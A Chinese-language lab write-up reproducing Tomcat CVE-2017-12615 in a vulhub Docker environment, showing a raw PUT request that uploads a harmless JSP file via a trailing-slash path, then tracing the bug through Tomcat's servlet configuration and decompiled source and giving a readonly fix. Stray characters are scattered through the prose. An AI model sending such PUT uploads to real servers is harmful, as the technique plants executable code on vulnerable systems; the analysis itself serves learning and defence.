0x00 環(huán)境搭建
直接 Docker 搭建即可
git clone https://github.com/vulhub/vulhub.git
cd /vulhub/tomcat/CVE-2017-12615
sudo docker-compose build
sudo docker-compose up -d
0x01 漏洞復(fù)現(xiàn)
直接使用 PUT 發(fā)起請(qǐng)求就可以上傳任意文件改执，比如向 /teamssix.jsp/ 發(fā)起請(qǐng)求
PUT /teamssix.jsp/ HTTP/1.1
Host: 172.16.214.20:8080
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 26
<%out.print("TeamsSix");%>
HTTP/1.1 201
Content-Length: 0
Date: Wed, 15 Dec 2021 07:19:29 GMT
Connection: close
服務(wù)端返回 201 說明創(chuàng)建成功啸蜜，訪問 /teamssix.jsp 可以看到文件成功被上傳
GET /teamssix.jsp HTTP/1.1
Host: 172.16.214.20:8080
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
HTTP/1.1 200
Set-Cookie: JSESSIONID=128419889W27F6C930EF27082B98D9FD; Path=/; HttpOnly
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 8
Date: Wed, 15 Dec 2021 07:19:35 GMT
Connection: close
TeamsSix
0x02 漏洞分析
Tomcat 在處理時(shí)有兩個(gè)默認(rèn)的 Servlet，分別為 DefaultServlet 和 JspServlet辈挂，具體配置如下：
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param><param-name>readonly</param-name><param-value>false</param-value></init-param>
<load-on-startup>1</load-on-startup>
</servlet>
……
<servlet>
<servlet-name>jsp</servlet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
<init-param>
<param-name>fork</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>xpoweredBy</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>3</load-on-startup>
</servlet>
……
<!-- The mapping for the default servlet -->
<servlet-mapping>
<servlet-name>default</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<!-- The mappings for the JSP servlet -->
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
<url-pattern>*.jspx</url-pattern>
</servlet-mapping>
從配置文件里可以看到對(duì)于后綴為 .jsp 和 .jspx 的請(qǐng)求由 JspServlet 處理衬横，而其他的請(qǐng)求則由 DefaultServlet 處理。
所以當(dāng)請(qǐng)求 /teamssix.jsp 時(shí)將會(huì)由 JspServlet 處理终蒂，無法觸發(fā)漏洞蜂林；而請(qǐng)求 /teamssix.jsp/ 將繞過這個(gè)限制，交由 DefaultServlet 處理拇泣，這時(shí)就可以觸發(fā)漏洞了噪叙。
要想實(shí)現(xiàn)一個(gè) Servlet，就需要繼承 HTTPServlet霉翔，找到 HTTPServlet 文件為 /tomcat/lib/servlet-api.jar!/javax/servlet/http/HttpServlet.class
在 HTTPServlet 中找到 doPut 方法睁蕾，然后找到 DefaultServlet 里重寫的 doPut 方法路徑為tomcat/lib/catalina.jar!/org/apache/catalina/servlets/DefaultServlet.class
查看 DefaultServlet 的 doPut 方法
protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
if (this.readOnly) {
resp.sendError(403);
} else {
String path = this.getRelativePath(req);
WebResource resource = this.resources.getResource(path);
DefaultServlet.Range range = this.parseContentRange(req, resp);
Object resourceInputStream = null;
try {
if (range != null) {
File contentFile = this.executePartialPut(req, range, path);
resourceInputStream = new FileInputStream(contentFile);
} else {
resourceInputStream = req.getInputStream();
}
if (this.resources.write(path, (InputStream)resourceInputStream, true)) {
if (resource.exists()) {
resp.setStatus(204);
} else {
resp.setStatus(201);
}
} else {
resp.sendError(409);
}
} finally {
if (resourceInputStream != null) {
try {
((InputStream)resourceInputStream).close();
} catch (IOException var13) {
}
}
}
}
}
從上面代碼的第 2 行可以看到首先判斷 readOnly 是否為真，如果為真則返回 403债朵，因此可以直接把 web.xml 里的 DefaultServlet 的 readonly 由原來的 false 改為 true 就能防御這個(gè)漏洞了子眶。
繼續(xù)回到 DefaultServlet.class 里，在 DefaultServlet.class 里可以看到有個(gè) write 函數(shù)序芦，通過這個(gè) write 函數(shù)代碼跟蹤到 tomcat/lib/catalina.jar!/org/apache/catalina/webresources/DirResourceSet.class 里的 write 函數(shù)
public boolean write(String path, InputStream is, boolean overwrite) {
this.checkPath(path);
if (is == null) {
throw new NullPointerException(sm.getString("dirResourceSet.writeNpe"));
} else if (this.isReadOnly()) {
return false;
} else {
File dest = null;
String webAppMount = this.getWebAppMount();
if (path.startsWith(webAppMount)) {
dest = this.file(path.substring(webAppMount.length()), false);
if (dest == null) {
return false;
} else if (dest.exists() && !overwrite) {
return false;
} else {
try {
if (overwrite) {
Files.copy(is, dest.toPath(), new CopyOption[]{StandardCopyOption.REPLACE_EXISTING});
} else {
Files.copy(is, dest.toPath(), new CopyOption[0]);
}
return true;
} catch (IOException var7) {
return false;
}
}
} else {
return false;
}
}
}
在執(zhí)行到dest = this.file(path.substring(webAppMount.length()), false); 時(shí)臭杰，path 會(huì)作為參數(shù)傳入，執(zhí)行 file 方法谚中，file 方法部分代碼如下
protected final File file(String name, boolean mustExist) {
if (name.equals("/")) {
name = "";
}
File file = new File(this.fileBase, name);
在執(zhí)行到 File file = new File(this.fileBase, name);時(shí)渴杆，會(huì)實(shí)例化一個(gè) File 對(duì)象，fileBase 是 Web 應(yīng)用所在的絕對(duì)路徑宪塔。
這里的 name 就是傳入的文件名磁奖，比如 /teamssix.jsp/殷蛇，在 File 實(shí)例化的過程中會(huì)處理掉 /登馒，因此 /teamssix.jsp/ 會(huì)變成 /teamssix.jsp
所以通過 PUT 請(qǐng)求，利用 /teamssix.jsp/ 可以達(dá)到任意文件上傳的目的场钉。
參考文章：
原文鏈接：
